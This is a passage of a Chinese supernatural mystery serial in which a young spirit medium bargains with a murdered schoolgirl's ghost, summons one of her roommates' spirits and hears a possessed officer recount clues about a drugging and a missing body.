“我知道，你也是个母亲，如果不是走投无路，别无选择，你也不会选择杀死自己的孩子……你一直被舍友欺凌，你忍气吞声地活着，你喜欢跳舞，可能……你是一个内心世界充盈的女孩子，他也喜欢看你跳舞对吗？所以你才会一直留在舞蹈室，放着曾经自己跳舞的歌……”
鬼女点了点头。
“你为什么要做四角游戏呢？你是想引导我们报警，然后借由警方的手在这个学校里找到什么对吧……”沈聆低下头，她转了转眼睛，一个猜测附上了心头，“在那一天……在你的舍友发现你死了之后……如果我是她们我会怎么做呢？我首先会崩溃，然后我会开始推卸责任，在相互责怪之后发现每个人都多少连带着说不清楚的的责任之后，我们三个就会变成一个团结的集体，一个……开始处理尸体的集体。”
沈聆说着，抬起头看向了鬼女。
她忽然知道对方的目的是什么了。
“你是想找到自己的尸体对吗？”
146. 合作
“你要找的，是自己的尸体对吧？刘悦。”
沈聆的这句话像是一个炸弹一样落在空气中，一时间，谁都没有说话，就连在他们身后的婴孩都愣了一下，它后退了几步，背过身去，似乎不愿意面对那个生下自己却又抛弃自己的人。
几步之外，刘悦的魂魄就这么静静地注视着沈聆，她的瞳孔一片血红，她的表情没有任何情绪的波动，她就像是一个雕塑，一个冰块，就这么站在那边，周身带着几分诡异的红，看起来有着难以化解的冤屈让她无法往生。
“刚才在活动室里，你带走了明夷，你想借助我们的手，报警，找到你的尸体，你在这个学校被害死，无人问津，大家都以为你失踪了，哪怕是你自己，都找不到身体在哪里……所以，你需要制造一个同样消失在学校中的人，让警方再搜一遍学校。”
沈聆沉着声音，一字一句地说。
“但是奇怪的是，我们是在404发现明夷的，说明在她消失后，她被转移到了这里，应该也是你吧，你想让我们来看看404发生的事情，你想让我们劝一劝你的孩子，你不愿意你的孩子就这么带着心结一直非人非鬼地徘徊在这个地方……”
刘悦点了点头，沈聆似乎说中了她全部的心事。
为什么要绑架宋明夷？
因为她需要更多的警力介入，充分引起所有人的关注，让大家都来帮忙找尸体。
她不相信，不相信三个女高中生能将尸体处理得无影无踪，她也不相信，自己就这么命苦，作为冤魂停留在世间。
此外。
她还有一个心结。
就是她的孩子。
她知道她的孩子和她一样的不甘心，在死后并没有投胎转世，而是留在了自己从前的寝室里，也是它造成了其他三个舍友的死亡，但三个舍友的死亡让刘悦尸体的下落一下子成为了无头冤案，这个世界上除了她们三个凶手之外，再没有人会知道她的尸体在哪里了……
她知道那三个舍友的魂魄还在404宿舍，因此，要找到自己的尸体，就必须到404寝室调查。
她担心自己的孩子还是不接受曾经抛弃它的自己，因此，先让沈聆一行人先行试探，看看那孩子现在的情况，最后，自己再出手一探究竟。
她是这么计划的。
但是当她看到吴妄出手对付那孩子的时候，作为那孩子的母亲，她还是不可避免地着急了起来，就像是看到有人在马路边上欺负自己的孩子，母性的本能让她出手伤人，从背后偷袭吴妄，化解了吴妄身周的真气。
这一切，就是事情的前因后果。
这个学校所发生的事情，复杂却也简单。
不过是几个人的爱恨情仇。
但却牵扯到许多人的性命，因果业障纠缠其中。
“我会帮你问一问她们三个的，只有她们三个才知道是怎么处理你的尸体的，但是在此之前，你必须答应我两个条件，如果你同意的话，那我们就合作，我以活人的方式，找到你的尸体，把你的尸体还给你的父母，让你能了却最后的心愿。”
刘悦点了点头，似乎是暂时愿意听一听沈聆口中的交换条件。
沈聆伸出了手，比了个“2”的手势。
“其一，我需要你帮忙化解吴妄身上的煞气，刚才你从后面偷袭吴妄，他受伤了，若是皮肉之伤，并不难愈合，但是我感觉他的伤口好像有中毒的迹象，不知道是不是你身上带着的煞气浸染到伤口的血液中，我需要你为他解毒。”
刘悦点了点头，但又指了指沈聆自己，用手势比划了一通。
沈聆看不懂那手语，但似乎是哑巴常用的那套。
“……她说，吴妄身上的煞气可以用你身上的灵元草来化解，她是鬼魂，没办法净化煞气，但是灵元草可以，用灵元草就能净化。”
林凌的声音从身旁传来，沈聆略感讶异地回过头看着他，林凌进一步解释道——
“刘悦她用的是盲人手语，我曾经在社区当过志愿者，有稍微学一点，可能刘悦曾经也有这样的经历吧。”
闻言，刘悦点了点头，她似乎不能说话，不知道为什么，她虽然张着嘴巴，但却像是被什么东西封住了嘴，让她有口难言。
但没关系，她还会有手语，而且万幸，现场还有一个会手语的警察。
“……好，那我的第二个条件就是……你要劝服你的孩子，不要妨碍我们。”沈聆重新将目光看向了刘悦，“我知道你有这个能力，它是你生下的孩子，你们有血脉羁绊，你知道它几斤几两，如果要找到你的尸体，我需要在这间宿舍进行唤魂，把你的舍友们叫出来，了解一下相关情况，但这期间，你和你的孩子都不能做任何破坏仪式的活动。”
听到这里，刘悦陷入了沉默，她显然有点儿犹豫，不知道沈聆是否真的能做到她保证的那样。
见状，沈聆举起了自己的胳膊，在纤细的手腕上绑着一条红色的手链，上面一个银色的铃铛轻轻晃动。
“我是第44任阴厨，我能够听到死者的声音，你的三个舍友一直都在这个宿舍里，不知道是不是惧怕你的原因，她们不敢离开这个宿舍，只能被你的孩子囚禁……在这之前，我看到她们三个被困在镜子里，但是刚才镜子被打破了，她们的魂魄应该从镜子里的世界逃逸而出，四散在周围……她们的魂力修为不如你们，或许一时间没办法化形，我必须上香，点结魄灯，用镜子重新汇聚她们的残魂，这样才能听到她们的声音。”
沈聆说着，从身后的背包里拿出一个小香炉，小镜子和一盏小油灯。
她将它们一一并排放置，放在刘悦面前，似乎是在告诉她自己说的都是真的。
她抬起头看向了刘悦，她的表情依旧十分平静，但是略略歪着脑袋，似乎在考虑沈聆的话是否可信。
“……我知道你仍旧心存疑虑，但是这也是现在唯一的办法不是吗？
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如果你不相信我们的话，刚才在舞蹈室的时候你就完全可以对我们下手，但是你没有这么做，我猜，你一直都在暗中观察我们的行动，想看看我们是骗子还是真的有点斤两的人……刘悦，如果我是你的话，我会选择试一试这个可能性，毕竟，你们现在母子都在场，而我们唯一能打的道长也已经受伤了，你们要杀死我们三个，轻而易举，我没有骗你的必要，不是吗？如果这个方法失败了，你再对我们动手也不迟。”
沈聆的这番话，头头是道，刘悦没有反驳的理由。
是的。
现在吴妄受伤了，如果双方真的要开打，她和她的孩子是完全占据上风的，要杀死这三个活人，只不过是弹指之间的事情。
既然如此，不如让她试试看，说不定真的可以让她唤出那三个该死的舍友，问问看她们把她的尸体藏在哪里了……
这似乎是一个稳赚不赔的买卖……
“……”
刘悦没有说话，也没有比任何手势。
她就这么站在原地，思考了足足有三分钟之后，点了点头。
沈聆突然间注意到刘悦正朝着自己所在的方位缓缓地抬起了手，只见其手掌心中闪烁着一抹极为微弱的血红色光芒，起初，那光芒还有些黯淡，仿佛随时都会熄灭一般，但仅仅只是眨眼间的功夫，它便开始逐渐变得耀眼起来，犹如一颗珍贵无比的血色宝石，散发出深邃而又暗沉的红光。
紧接着，令人惊愕不已的一幕发生了——那几道血红色的光束竟如同灵活舞动的光鞭一般，以迅雷不及掩耳之势径直朝着他们猛扑而来！
面对如此突如其来的变故，沈聆的心瞬间提到了嗓子眼儿，她原本还满心期待着这场“买卖”能够顺利达成，可眼下看来，对方似乎对此毫无兴趣，不仅如此，甚至还有可能会对在场的所有人痛下杀手。
想到这里，沈聆下意识地伸出双手、紧紧地抱住了身旁的吴妄，本能地闭上了双眼，静静等待着那股可怕的煞气狠狠地冲击自己的身躯。
然而，时间一分一秒过去，想象中的剧痛并未降临。
就在这时，沈聆突然感觉到有人轻轻地拍了拍自己的手。
她微微一怔，随后缓缓睁开了紧闭的双眸，发现吴妄用眼神示意了她一下。
她转头看去，发现刘悦手中那散发着血红色光芒的神秘力量已经化作数道光束，只不过这些光束并没有像之前那般凶狠地袭击他们，而是巧妙地绕过了吴妄和沈聆二人，宛如灵动的绳索一般，精准无误地缠绕在了他们身后那只张牙舞爪的婴灵身上。
“……”
长着人鱼尾巴的婴灵气急败坏地扭动着身体，想要挣脱红色的光束，但刘悦的魂力明显在它之上，它被紧紧困住，在半空中动弹不得。
——刘悦的意思很明显，她会控制住自己的孩子，让沈聆专心做她应该做的事情。
“……该，让你皮，找你家长来治你。”
147. 李艾
“该，让你皮，找你家长来治你。”
吴妄看着身后被红色光束束缚着的婴灵，眼神中带着几分幸灾乐祸。
沈聆用胳膊肘捅了捅吴妄，让他少说几句，现在他还是煞气没解的人，而且结界的维持还需要他的真气，要是惹怒了这对母子，对他们出手，破坏了结界，到时候弄得人仰马翻，反而不好收拾。
婴灵还在挣扎着，它虽然被红色的光束束缚着动弹不得，但是还是试图凝结自己的鬼气割破周围绑着自己的光束，但刘悦的魂力明显在它之上，她用自己的煞气压制着这孩子，让它没办法挣脱。
它很生气。
在他们一行人到来之前，404明明是它一个人的地方，但现在一晚上多了这么多不速之客不说，还请来了它的家长？不管它答不答应，就是直接在它的地盘上打算开干了。
它很生气。
但是却又没有别的办法。
眼看着别人在自己的地盘上胡作非为。
沈聆深吸了一口气，她知道现在该做她“专业”的事情了，如果真的能通过那三个鬼魂知道刘悦尸体的下落，说不定就能从源头上解决这一切事情。
她拿过自己的黑色背包，从背包里拿出三炷香。
深吸了一口气，她在脑海中过了一遍外婆教导的步骤——
上清香、唤生魂、见黄泉、听鬼音、受鬼托、请香祀、做祀品、祭亡魂、别离恨、转生安。
上清香、唤生魂、见黄泉、听鬼音、受鬼托，前五个步骤，为唤魂。
这也是她今天要做的事情，把那三个鬼魂唤出来，尽可能从她们口中了解刘悦尸体的下落，如果她们没办法明说，那么旁敲侧击得到一些线索也是好的。
但她只有三句话的机会。
说完三句话，唤魂就结束了。
沈聆将结魄灯放在正对着镜子的地方，虽然镜子此刻已经弄碎了一地，但镜子的碎片还凝结部分魂器，说不定可以将它们重新聚集起来。
点亮结魄灯，将镜子放在结魄灯的后面，同时，将鎏金香炉放在了镜子前，点燃了三炷香后，沈聆恭恭敬敬地对着镜子碎片的方向拜了拜，她心无杂念，一套动作行云流水，宛如一个经验丰富的老阴厨。
她是个聪明人，师傅领进门，她自己已经摸清了这个行业的特殊性。
只要运用得当，可以得到很多活人调查不到的线索。
这也是她想继续做下去的原因。
如果能利用自己的一点小力量，为死者伸冤调查，那么她的一切辛苦和风险都是值得的。
做完这一切后，沈聆在地上打坐，合拢手掌，闭上双眼对着镜子默念起了外婆教的口诀——
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
就在她话音刚落之际，令人毛骨悚然的一幕发生了——黄泉地府宛如一道神秘而恐怖的大门，缓缓地在她眼前敞开！
先是宿舍的墙壁，那原本洁白的墙面竟渐渐被一抹猩红所浸染，紧接着天花板也未能幸免，一滴接一滴的鲜血如同断了线的珠子般不断滴落下来，而脚下的地板更是不堪入目，红色的液体源源不断地从中渗透而出，逐渐汇聚成一道道血流，黏稠无比，散发出阵阵刺鼻的腐烂味与浓烈的血腥气息。
此时，门外忽然传来一阵窸窸窣窣的声响，仔细一听，竟是白骨相互摩擦碰撞的声音。
只见一具具白骨艰难地爬行着，穿过那一滩滩鲜红的血水，留下一道道触目惊心的痕迹。透过这些血水，还能隐约瞧见有骷髅正自下而上地窥视着屋内的一切，空洞的眼眶里闪烁着诡异的光芒。
与此同时，窗外的天空也变得异常诡异。
原本黑色的天幕此刻已被大片大片的血红色云朵所占据，那些厚重的云彩沉甸甸地堆积在一起，仿佛随时都会从天际倾泻而下，给人一种无法言说的压抑感。
远远望去，更有断断续续的哭声随风飘来，时而悠长，时而短促，好似活人们正在黄泉路旁悲痛欲绝地送别逝去的亲人。
“叮铃……”清脆的铃声突然响起，打破了这死一般的沉寂。
沈聆下意识地看向自己手腕处的红色手链，只见上面悬挂的银铃正微微晃动着，发出一阵阵清脆悦耳却又让人胆寒的响声。
银铃响，冤魂至。
按照步骤来说，此时此刻，她招魂的对象现在应该已经在这周围才对。
毕竟，404女寝本身就是一个阴气极重的地方，要聚魂难度并不大，沈聆听到了自己手链上银铃的声音，她知道周围的鬼魂并不少，除了那对母子之外，另外三个女孩子的魂魄也一定在附近。
但是。
她们却并没有现身。
是的。
在沈聆做完一切后，本应该轻而易举就能唤出的魂魄，此刻却并没有出现在镜子里。
“为什么呢……”
沈聆皱起眉头，她下意识地看了一眼刘悦和她的孩子，刘悦此刻依旧是面无表情地看着她，她就这么静静地站在原地，表情没有任何的悲喜。
沈聆感到有点儿心虚，她知道自己必须做点什么，至少不能让刘悦觉得自己是在瞎吹牛逼。
“……”
她沉默了一下，闭上眼睛，一瞬间在脑海中过了无数种可能。
——为什么她们三个不出来？
——在害怕什么吗？
——是刘悦。
——她们被鬼婴杀死，又被困在镜子里，说明她们的力量尚且不足与鬼婴抗衡，刘悦的级别明显在她孩子之上，她们害怕刘悦，毕竟她们是杀死刘悦的凶手，她们担心自己出现的话，会被刘悦……
——但是她们现在迟迟不现身，也不是办法。
——得想个办法让她们出现才行。
——能让人以身犯险的理由，要么是风险带来的报酬，要么，就是不冒险带来的更大的危机……
想到这里，沈聆睁开眼睛，看向了周围茫茫黄泉路。
她对着空气说道：“我知道你们在这里，我不知道你们的名字，我是你们的学姐，也是这所学校的学生，我很遗憾发生在你们身上的事情，但请相信我是来帮助你们的……我
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知道你们在害怕什么，别担心，她跟我保证过，不会伤害你们的，因为伤害了你们，她就永远无法得知自己尸体的下落。”
这句话，与其说是对那三个不敢现身的阴魂说的，更像是对刘悦说的。
刘悦沉默地站在宿舍门口，她始终没有踏入宿舍门一步，似乎也是她的态度。
她似乎猜到了今天晚上那三个人（鬼）会因为畏惧她不敢出现，从前受过的欺凌、侮辱她都可以先放一放，甚至是杀死自己的仇恨……
她似乎，更想找到自己的尸体。
“……你们放心吧，我是阴厨，我只是想了解一下你们的心愿，如果可能的话，我想帮帮你们。而且，有青城山的吴妄道长在这里，如果真的有人要伤害你们的话，他会保护你们的。”
吴妄斜着眼睛看了一眼沈聆，第一次感觉到她的脸皮还挺厚，睁着眼睛说瞎话的功夫似乎日益见长。
似乎在内心犹豫了好一会儿之后，一个模糊的白色轮廓才在沈聆面前的小镜子里逐渐出现。
刚开始，只是一个白色的轮廓。
但逐渐的，那轮廓开始显形出人的五官、头发……
和刘悦、鬼婴不同的是，她的身影是白色的，在完全显形之后，沈聆认出了小镜子里的她就是自己在回忆中看到的那三个女孩子中的一个，而且，还是那个爱慕马伯良的女孩子。
“……请问你叫什么名字？”
沈聆怕吓到了好不容易唤出的鬼魂，放轻了声音，小心翼翼地询问。
【李艾。】
鬼魂的声音很轻，她低着头，披散着头发半盖住了一张惨白色的脸，她的脖颈有一条明显的勒痕以及自己的手指抓出的血痕，看起来是被勒死的。
应该是鬼婴的蛛丝。
从死者的死状来看，应该是被鬼婴杀死的。
“我是阴厨，我能完成你的心愿……你有什么想吃的东西吗？我可以帮你带来……”
按照规定，沈聆不能询问死因，只能围绕着阴厨的职责工作询问鬼魂。
这是老祖宗定下的规矩，她不敢违背。
【……城北人民路街口的葱油饼。】
葱油饼？
“我知道了，下次我会带给你的……另外，你有什么想另外的想说的事情吗？”
镜子里的鬼魂迟疑了一下，微微张开了口。
【日记，找她，拿日记。】
说完这句话之后，她的身体就消失了，如烟雾一样消散在镜子里。
这是一个关键的信息。
日记。
“我知道了……”
沈聆说着，看向了鎏金香炉上的三炷香，她发现三炷香已经灭了，她走得很匆忙，黄泉路也在鬼魂消失后关闭了，一切再一次回到了之前的状态。
这说明鬼魂并不愿意说太多，也不愿意直接说出刘悦尸体的位置，似乎担心自己只要一说出口，自己对刘悦来说就会失去价值，从而灰飞烟灭。
李艾也是个聪明人。
她知道自己力量有限，只能委婉地借助活人的手，来处理死人之间的怨。
148. 鬼婴往事
在李艾说完那番话之后，她就消失了。
随之消失的，还有沈聆眼前黄泉路的景象。
所有的一切归于平静，似乎这一切都没有发生过一般。
404女寝内又陷入了一片黑暗中，仿佛刚才发生的事情只是一场幻境。
沈聆抬起头看向了站在门口的刘悦，轻声说道：“你也听到了，她给了一点线索，我想，她是担心直接说出你要的东西，你会让她魂飞魄散……不过你先不用担心，我们会去调查她口中‘日记’的事情，希望能从中调查到一些更有价值的线索，我答应你的事情，我一定会做到。”
在沈聆说完这句话的时候，刘悦像是点了点头一样，她的松开了绑着鬼婴的红色光束，转身消失在了走廊的清冷中。
她就像是一阵烟雾一样，消散成了细微的烟尘。
和她的生命一样，在这个宿舍里没有留下任何的痕迹。
但沈聆知道，她也有自己的喜怒哀乐，也曾经有自己放心不下的人，有自己的无奈和苦衷，最后，也有自己不愿离开的理由。
“我想……我们接下来要去调查一下那个葱油饼了。”沈聆沉思了一会儿，抬眼看着吴妄和林凌，“按照李艾的说法，可能她之前藏了一本日记本在那个小摊上，日记本上一定记着什么关键线索……她们是冲动杀人，担心事情败露，一定会合作处理尸体，但是这并不代表她们三个人就如铁桶一样团结，李艾，是个突破口。”
“那我们明天去调查那个小摊，最近创建文明城市，城管局经常在路口抓小摊贩，我想，我可以问问看城管局的同事，他们可能会知道具体的位置。”林凌点了点头，他总是能在最快的时间里找到不同的突破口，从不同的地方下手调查，增加案子破解的概率。
“……那它呢，怎么办？”吴妄指了指依旧悬浮在半空中的鬼婴。
那孩子只是有点儿出神地看着母亲消失的方向，明明它没有五官，没有表情，但不知道为什么似乎有一种浓浓的悲伤在空气中扩散。
它好像……又被妈妈抛弃了。
而且，她转身离开的时候甚至没有看它一眼。
它真的是一个被抛弃、被嫌弃的孩子吗？
它的到来，难道是爸爸妈妈都不愿意看到的吗？
一时之间，它冰冷的心居然也开始动摇了起来，本以为恨意就足以支撑她全部的信念，但现在看来，母子的羁绊，还是超过了它内心的恨意。
它或许。
还是一个渴望母爱的孩子。
如果可以的话，谁愿意冰冷地独自困在这个小小的寝室里呢？
“她不是不要你，她只是还有更重要的事情要做的。”
沈聆看出了鬼婴的失落，她将它像一个孩子一样对待，细声安慰道。
“如果她不喜欢你的话，刚才就不会救你了。天下所有的母亲都是爱孩子的……当然，每个母亲表达爱的方式并不一样，她也是第一次当母亲，她也没有适应自己的身份……她一直在逃避这件事情，所以才不敢过来看你，但她心里是有你的。”
鬼婴愣怔地转向了沈聆的方向，它似乎真的在听她说话。
它很想去相信沈聆的话。
不管是不是真的。
“我和你妈妈说的事情，我一定会做到，我相信，只要找到你妈妈的身体，她就一定能毫无遗憾地离开这个世界……但是你呢？你有没有‘未完成的心愿’？如果有的话，我很愿意也帮你做到。”
鬼影用那圆滚滚的手抓了抓脑袋，似乎在认真思考这个问题。
它没有嘴巴，现在也没有了宋明夷这个傀儡，虽然有许多想说的话，一时间却也无从诉说。
“用我的身体吧。”林凌说着，往前走了一步，“他们两个，一个有真气护体，一个身体里有灵元草，你应该也不方便附体。没关系，你可以用我的身体。”
鬼婴愣了一下，不只是它，在场所有人都没有想到林凌居然会主动让鬼婴附体。
要知道，鬼魂对正常人的灵魂也是有一定的侵蚀性的，轻则消耗人的阳气、精力，重则导致无名疾病，甚至会影响人的运势。
但现在，他似乎都不在乎这些。
“林警官……”
“没事的，它只是一个缺爱的孩子而已，它是知道我们是要帮助它的人，不会伤害我的。”林凌说着，敲了敲眼前的护住自己的结界，“吴妄道长，可以帮我把结界打开吗，有这个东西在的话，它可能不方便。”
“你确定吗？林凌，这件事情不是开玩笑的，它是个怨灵，并且并没有想象中那么简单，你的身体不一定能承受。”吴妄也对这个决定存疑。
但林凌摇了摇头，只是语气肯定地说：“放心吧，我是个警察，在场的三个人里面，我的身体素质应该是最好的吧，而且……我觉得这孩子是有话要说的。”
见状，吴妄也不再多说什么。
他一抬手，撤掉了林凌面前的结界。
见状，鬼婴试探性地往林凌旁边挪动了几步，它悬浮在半空中，就这么歪着脑袋看着林凌。
“放心吧小鬼，我的身体素质，我是要活到八十岁的。”
他的语气无比坚定且充满自信，其间还夹杂着几分明朗与豪爽，仿佛每一个字都蕴含着无尽的力量。
——每当他开口说话时，那独特而富有感染力的语调总能让人感受到一种源源不断的积极向上的正能量，好像这世间再大的风浪、再多的挫折也无法将这份乐观击垮，任何烦恼和忧虑都只是过眼云烟，转瞬即逝，不会在他心中停留太久。
就在他话音刚刚落下之际，令人意想不到的一幕发生了。
那个诡异的鬼婴原本静静地悬浮在空中，突然间其娇小的身躯如同闪电一般在空气之中轻轻一闪而过。
由于速度极快，以至于那半透明的身体在空中仅仅留下了一道模糊不清的残影。
紧接着，这道残影迅速地朝着林凌飞去，眨眼之间便没入了他的体内，整个过程犹如一块晶莹剔透的冰块猛地
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砸进平静的水面，瞬间激起层层涟漪，然而不同的是，这鬼婴并非单纯地进入了林凌的身体，而是以一种霸道而又神秘的方式融入了他的灵魂深处，彻底占据了他的躯体。
刹那间，只见林凌原本清澈明亮的眼眸中突然闪过一抹妖异的红光，宛如燃烧的火焰一般耀眼夺目。
他微微眨动双眼，目光直直地凝视着前方，脸上的表情却在这一刻变得异常木然，仿佛失去了所有的情感和意识，成为了一具被操纵的行尸走肉。
“它已经附体了。”吴妄轻声说。
沈聆轻声问道：“……你现在是林警官还是那个小朋友？”
鬼婴张了张嘴，它操控着林凌的身体，它也想和正常人一样开口介绍自己的名字，但无奈的是，它的母亲，并没有来记得给它取名字，它也不知道自己姓甚名谁。
“我不是那个大哥哥。”
“你有没有什么‘未完成的心愿’？或许，我可以帮帮你。”
“……你的意思是，我有没有想做的事情？”
“对的。”
“……我想想。”
他说着，低下头看了看自己的身体。
它总是用蜘蛛丝操控他人的身体，这还是第一次，它附着在别人的身体里，操控别人的身体，感受着用正常的身体活着的感觉。
而且，它有双脚了，不是鱼尾巴。
鬼影低下头，看着林凌的双腿，有点儿出神。
“没关系，都可以。”
“我想……有个名字，然后……我想去游乐园玩。”鬼婴抬起头，看着沈聆和吴妄。
此刻，它的眼神里没有了敌意，而是和它母亲一样的平静。
它看着吴妄和沈聆，就像，它看着家里的大哥哥和大姐姐一样。
吴妄和沈聆对视了一眼。
沈聆点了点头：“可以的，但是，得等我们先完成你妈妈的心愿。”
“如果是那个的话，或许我可以帮你们。”
“怎么说？”
“刚才出现的李艾，我在杀死她之后，在她的大脑里看到了她的回忆，我看到她的妈妈好像是个卖葱油饼的人，可能就是刚才你们说的那个摊子……”
鬼影挠了挠头，像是想起了什么。
“哦，对了，我在她的回忆里看到了一件事情……在我妈妈死后，李艾曾经接触过一个戴着眼镜的男生，那个男生给了她一包像是粉末一样的东西，说‘用这个东西就可以让男人回心转意’。当时李艾听了很开心，说着她的伯良哥哥现在一定会接受她。”
“在那之后的某一天晚上，李艾约了一个男人去喝饮料，并在他的饮料里偷偷加了那包粉末，奇怪的是，那个男的喝了那杯饮料之后，好像就开始头晕眼花……他好像也察觉到这个女人有问题，赶紧找了个借口溜了。”
鬼婴迟疑了一下，不知道要不要说下去。
“额……其实……那个男的，我也在其他人的回忆里看到过……他叫马伯良，好像是我的爸爸。”
149. 梁林
就在那鬼婴附身于林凌之躯，并将这一番话语吐露完毕之后，它敏锐地觉察到，林凌的躯体已然难以持久承受源自阴魂的逐步蚕食。
于是乎，这鬼婴未作丝毫迟疑，悄然无声地撤离了林凌的身躯。
它的魂魄从林凌身上移开，只见一阵暗色的烟雾缭绕后，有什么青烟一样的东西从林凌身上散去。
刹那间，林凌只觉双腿仿若失去了所有力量一般，绵软无力，双膝不由自主地弯曲下来，最终重重地跪倒在地。
“林警官......”见此情景，沈聆三步并作两步匆忙上前，伸出双手稳稳地扶住了摇摇欲坠的林凌。
她摇了摇林凌，林凌抬起头看向了她——此时的林凌，额头之上早已布满豆大的汗珠，他吃力地抬起头来，略显虚弱地望向沈聆，那原本明亮锐利的眼眸此刻却带着几分难以聚焦的迷茫之色，令人心生怜悯。
“一切都结束了，谢谢你，如果不是你，我们可能就要错过一条重要的线索了。”沈聆一边轻声安慰着林凌，一边温柔地拭去他额头上的汗水，“另外，它借助你的身体，成功地传达出了自身的愿望。依我看，我们确实有能力帮助它达成所愿。”
言罢，沈聆缓缓转过头去，目光投向了不远处的鬼婴所在之处。
林凌闻言，也强打起精神，顺着沈聆的视线望去。
只见那个半透明状的小小身影依然静静地悬浮在半空之中，宛如一朵轻盈的云彩。
然而，与方才截然不同的是，此刻能够清晰地感受到四周的气场已不再那般紧张压抑，先前弥漫的紧迫感犹如潮水般渐渐退去。
很显然，经过此番交流之后，对方对于他们二人似乎已然消除了深深的敌意。
“没事，说出来就好了，它也很可怜，只是一个孩子罢了，希望我可以帮到他。”林凌看着鬼婴，他的声音带着几分沙哑和疲惫。
他是个好人。
这一点连鬼婴都能够真切地感受到。
自出生以来，它从来没有感受过任何人的善意，所有人，包括自己的母亲，对它都是如此的苛刻，在它变成恶鬼之后，更是对它十分厌恶和恐惧。
它来到这个世界上，就没有感受过来自他人的正向的情绪反馈。
但此刻。
这份遗憾，却在今天晚上得到了填补。
素不相识的林凌，却愿意让它附身，素不相识的这三个哥哥姐姐，愿意倾听它的心愿，甚至，愿意帮它满足在这个世界上的遗憾……
它第一次感觉到来自他人的善意，这是它从来没有体会过的温暖，宛如一条潺潺小溪，从心头淌过……
“……”
此刻，鬼婴正静静地凝视着林凌，它那小小的身躯仿佛被一层神秘的气息所笼罩。
——由于天生没有五官，所以无法通过眼神来传达对林凌的谢意；同样因为没有嘴巴，也不能亲口说出心中那份深深的感激之情。
但即便如此，它还是凭借着本能默默地靠近了林凌。
只见它飘忽着，轻轻到了林凌身旁，它收敛了自己身上的煞气，像是怕伤害到林凌一般，它轻轻地将自己那颗小小的脑袋靠在了林凌身上，亲昵地蹭了蹭，活脱脱就是一个喜欢向大人撒娇的可爱小朋友。
看到这一幕，林凌不禁微微一笑，眼中流露出一丝温柔之色。
他慢慢地伸出手，轻柔地抚摸起鬼婴的小脑袋。
当指尖触碰到鬼婴头顶的瞬间，一种奇特的感觉传来——那触感滑溜溜的，宛如触摸到了一片片细腻的鱼鳞一般，同时手指间还沾染上了一些黏糊糊的液体，让人感到既新奇又有些许不适，然而，林凌并没有因此而缩回手，反而继续温柔地抚摸着鬼婴，仿佛要用这种方式传递给它更多的温暖与关爱。
“它想要有一个自己的名字，但我们都没有给它取名字的权利，取名的这件事情，还是得问问马伯良和刘悦，毕竟他们才是这孩子的亲生父母。”沈聆看着林凌和吴妄商量到，“刚才我们已经见到了刘悦，但是在找到她的尸体之前，她估计是不会答应我们其他的事情了……至于马伯良……刚才这孩子透露了一个线索，李艾曾在刘悦死后在马伯良的饮料里下药……不知道她到底给马伯良吃了什么……”
吴妄托着下巴沉思了一下：“我记得你最开始的时候说过，马校长的孙子最近被鬼缠着，一直做噩梦，疯疯癫癫的。”
沈聆点了点头：“对，我怀疑李艾下的药粉和马伯良最近疯魔的表现有关系……而且，这孩子说，是一个戴着眼镜的男生给李艾的粉末……戴着眼镜……等等！”
沈聆像是想起了什么。
她连忙从口袋里掏出手机，打开了手机□□，并开始翻找前几天的□□聊天记录。
她记得，之前有个隔壁班的女同学曾经问她这个长相秀气的男生是不是她的同桌，姓甚名谁，性格如何，是否有男朋友等等，据说现在梁林已经是公认的段草，她作为梁林的同桌，一直有其他女孩子跟她偷偷打听关于梁林的“情报”，其中，就有一个女孩子发了自己偷拍的梁林的照片。
沈聆好一通找，终于在聊天记录里找到了一个模糊的照片。
照片的角度不是很好，是从楼上往下拍摄的，在人群之中有一个长相秀气的男生，当时他们正好上完体育课，梁林走在其他男生中间，他俊俏的脸庞总是让人一眼能够将注意力放在他的身上。
沈聆将手机展示给鬼婴。
“你看看……是这个人给李艾的药吗？他也带着眼镜，只不过这个照片有点儿模糊。”
鬼婴虽然没有眼睛，但它有自己感知外界的独特方式。
只见它微微低下头，从身周发出一道暗紫色的光，那光缠绕在了沈聆的手机上，它通过这样的方式，阅读到了手机里的信息。
不多时，这暗紫色的光消失后，鬼婴抬起头看向了沈聆。
“如何？”
鬼婴点了点头。
“果然是梁林？！”
“什么？梁林是谁？”林凌一头雾水。
“梁林是她的新同
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桌，听说是个公子哥，而且还是个小鲜肉公子哥。”吴妄话里话外带着几分阴阳怪气，“你的手机里居然还有他的照片，看来是真的‘念念不忘’啊……”
但此刻沈聆的注意力并没有在他们身上，而是看着手机中的照片，陷入了混乱的思绪中。
“我记得……梁林是在我请假期间转校过来的……如果真的是他的话，时间倒是也能对得上……但是他这么做的理由是什么呢？为什么要借由李艾的手对马伯良下药？他是不是知道些什么？”
不过这一切的问题，在这里揣摩都是没有意义的。
事情似乎千头万绪。
随着调查的深入，线索越来越多，但疑点也越来越多。
沈聆摇了摇头，
现在要做的，一是完成三个鬼魂的嘱托，调查葱油饼摊铺，找到日记本，挖出更多的线索的同时，在48小时内完成祭魂仪式；二是找到刘悦的尸体，完成和刘悦的交易；三是完成鬼婴的心愿，真正解决404女寝的灵异事件。
“事已至此，我们还是先带明夷去医院吧。”沈聆看着倒在地上的明夷，眼底露出几分担忧，“女孩子的身体本就比较弱，今天晚上真是难为她的了。”
似乎自从开始阴厨的工作之后，他们就三天两头往医院跑，现在对平安医院的各个科室已经是了如指掌了。
——正好，去医院的话，还能顺带了解一下沈凝近期的手术情况和下一步手术安排，如果这次的嘱托能够顺利完成，应该也可以积攒一笔不少的阴德，让沈凝能顺利完成下一次手术。
沈聆这么想着，拍了拍鬼婴的脑袋。
“那就先委屈你在这里等一下，我们先解决了你妈妈的事情，然后我们会问问你爸妈有没有给你起名字的打算，你妈妈虽然已经死了，但是你爸爸还活着，你姓马，但是具体的名字……只有你的父母有这个权利给你取。”
鬼婴点了点头，也听懂了沈聆的话。
它更多时候更像是一个试图用捣乱引起他人关注的叛逆的孩子，只要旁人稍稍给点关注和温暖，它就十分知足了。
就在这时，沈聆的手机响了。
她拿出手机，发现是一个陌生号码的来电。
——又是陌生号码？今天晚上的陌生号码还真多。
“喂？”
沈聆接起了电话，从电话那头传来了马老校长的声音。
“沈聆吗？我是你外婆的朋友，马志远。”
“老校长您好。”
“你们现在还在校门口吗？”
“啊？”
马老校长的话，让沈聆丈二和尚摸不着头脑。
